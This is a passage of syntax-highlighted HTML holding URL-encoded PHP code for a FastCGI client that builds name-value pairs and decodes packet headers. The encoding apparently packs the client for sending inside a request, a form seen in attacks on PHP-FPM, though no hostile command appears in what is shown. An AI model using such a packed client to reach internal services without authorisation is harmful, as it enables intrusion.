class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>content<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>content<span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">private</span><span class="hljs-symbol">%20</span>function<span class="hljs-symbol">%20</span>buildNvpair<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>name<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>value<span class="hljs-symbol">%29</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>nlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>strlen<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>name<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>vlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>strlen<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>value<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>nlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>C<span class="hljs-symbol">%20128</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>nameLengthB<span class="hljs-number">0</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>nvpair<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>nlen<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%20</span>else<span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>nameLengthB<span class="hljs-number">3</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span>nameLengthB<span class="hljs-number">2</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span>nameLengthB<span class="hljs-number">1</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span>nameLengthB<span class="hljs-number">0</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>nvpair<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>nlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%2024</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>C<span class="hljs-symbol">%200</span><span class="hljs-keyword">x</span><span class="hljs-number">80</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>nlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%2016</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>nlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%208</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>nlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>vlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>C<span class="hljs-symbol">%20128</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>valueLengthB<span class="hljs-number">0</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>nvpair<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>vlen<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%20</span>else<span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>valueLengthB<span class="hljs-number">3</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span>valueLengthB<span class="hljs-number">2</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span>valueLengthB<span class="hljs-number">1</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span>valueLengthB<span class="hljs-number">0</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>nvpair<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>vlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%2024</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>C<span class="hljs-symbol">%200</span><span class="hljs-keyword">x</span><span class="hljs-number">80</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>vlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%2016</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>vlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%208</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>chr<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>vlen<span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%200</span>xFF<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%20</span>nameData<span class="hljs-symbol">%20</span><span class="hljs-symbol">%26</span><span class="hljs-symbol">%20</span>valueData<span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>a<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>return<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>nvpair<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>name<span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>value<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">private</span><span class="hljs-symbol">%20</span>function<span class="hljs-symbol">%20</span>decodePacketHeader<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>data<span class="hljs-symbol">%29</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">ret</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>array<span class="hljs-symbol">%28</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">ret</span><span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>version<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-keyword">ord</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>data<span class="hljs-symbol">%7</span>B<span class="hljs-number">0</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">ret</span><span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span><span class="hljs-keyword">type</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-keyword">ord</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>data<span class="hljs-symbol">%7</span>B<span class="hljs-number">1</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">ret</span><span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>requestId<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-keyword">ord</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>data<span class="hljs-symbol">%7</span>B<span class="hljs-number">2</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>C<span class="hljs-symbol">%3</span>C<span class="hljs-symbol">%208</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>b<span class="hljs-symbol">%20</span><span class="hljs-keyword">ord</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>data<span class="hljs-symbol">%7</span>B<span class="hljs-number">3</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">ret</span><span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>contentLength<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-keyword">ord</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>data<span class="hljs-symbol">%7</span>B<span class="hljs-number">4</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>C<span class="hljs-symbol">%3</span>C<span class="hljs-symbol">%208</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>b<span class="hljs-symbol">%20</span><span class="hljs-keyword">ord</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>data<span class="hljs-symbol">%7</span>B<span class="hljs-number">5</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">ret</span><span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>paddingLength<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-keyword">ord</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>data<span class="hljs-symbol">%7</span>B<span class="hljs-number">6</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">ret</span><span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>reserved<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-keyword">ord</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>data<span class="hljs-symbol">%7</span>B<span class="hljs-number">7</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>return<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span><span class="hljs-keyword">ret</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-keyword">private</span><span class="hljs-symbol">%20</span>function<span class="hljs-symbol">%20</span>readPacket<span class="hljs-symbol">%28</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>packet<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>fread<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>E_sock<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>AHEADER_LEN<span class="hljs-symbol">%29</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>this-<span class="hljs-symbol">%3</span>EdecodePacketHeader<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>packet<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>content<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>if<span class="hljs-symbol">%20</span><span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>resp<span class="hljs-symbol">%5</span>B<span class="hljs-symbol">%27</span>contentLength<span class="hljs-symbol">%27</span><span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%29</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span 